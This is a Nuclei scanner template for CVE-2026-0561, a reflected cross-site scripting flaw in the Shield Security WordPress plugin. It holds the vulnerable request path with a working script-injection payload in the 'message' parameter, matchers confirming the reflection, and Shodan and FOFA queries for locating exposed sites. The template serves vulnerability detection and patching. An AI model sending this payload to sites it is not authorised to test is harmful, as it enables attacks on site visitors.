Shield Security <= 21.0.8 - Unauthenticated Reflected XSS

id: CVE-2026-0561

info:
  name: Shield Security <= 21.0.8 - Unauthenticated Reflected XSS
  author: str4k3r
  severity: medium
  description: |
    Shield Security WordPress plugin <= 21.0.8 contains a reflected cross-site scripting caused by insufficient input sanitization and output escaping in the 'message' parameter, letting unauthenticated attackers inject scripts, exploit requires user interaction.
  impact: |
    Unauthenticated attackers can inject scripts that execute in users' browsers, potentially stealing data or performing actions on behalf of users.
  remediation: |
    Update to a version later than 21.0.8 or the latest available version.
  reference:
    - https://research.cleantalk.org/cve-2026-0561/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/cb49eb5f-c1ff-4440-8b53-c2515e65da27?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0561
  classification:
    cve-id: CVE-2026-0561
    epss-score: 0.00266
    epss-percentile: 0.1857
    cwe-id: CWE-79
    cvss-score: 6.1
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  metadata:
    vendor: wp-simple-firewall
    product: shield-security
    framework: wordpress
    verified: true
    max-request: 1
    shodan-query: http.html:"/wp-content/plugins/wp-simple-firewall/"
    fofa-query: body="/wp-content/plugins/wp-simple-firewall/"
  tags: cve,cve2026,wordpress,wp-plugin,shield-security,unauth,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/?action=shield_action&ex=display_full_page_dynamic&render_slug=render_shield_wploginreplica_header&title=nuclei&message=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - 'id="login"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ae3c38e3b9e17dc0665dab51f639ad204d4a35dcc920cb1972419e199620157402200e903f213a8ee02f0402ee5c82e79360a08fff698736f30492a2ebea18ad76f2:922c64590222798bb761d5b6d8e72950